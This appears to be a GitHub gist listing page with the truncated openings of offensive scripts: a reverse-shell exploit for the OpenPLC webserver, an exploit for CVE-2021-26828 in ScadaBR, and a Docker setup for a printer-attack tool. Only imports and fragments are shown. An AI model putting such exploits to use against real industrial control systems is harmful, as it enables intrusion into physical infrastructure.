Skip to content

Instantly share code, notes, and snippets.

# usage: docker compose run --rm pret
services:
pret:
image: python:2.7
volumes:
- ./share:/share
command: >
/bin/bash -c "
apt update
@voidvxvt
voidvxvt / OpenPLCpwn.py
Last active January 7, 2025 06:06
Automation to pop a rev shell on OpenPLC Webserver
#!/usr/bin/env python3
import requests
import argparse
from time import sleep
g_openplc_revsh = '''
#include "ladder.h"
#include <stdio.h>
#!/usr/bin/python3
import requests
import argparse
import time
import sys
def parse_args():
parser = argparse.ArgumentParser(description="Exploit for CVE-2021-26828 in ScadaBR 1.0 ~ 1.1 CE.")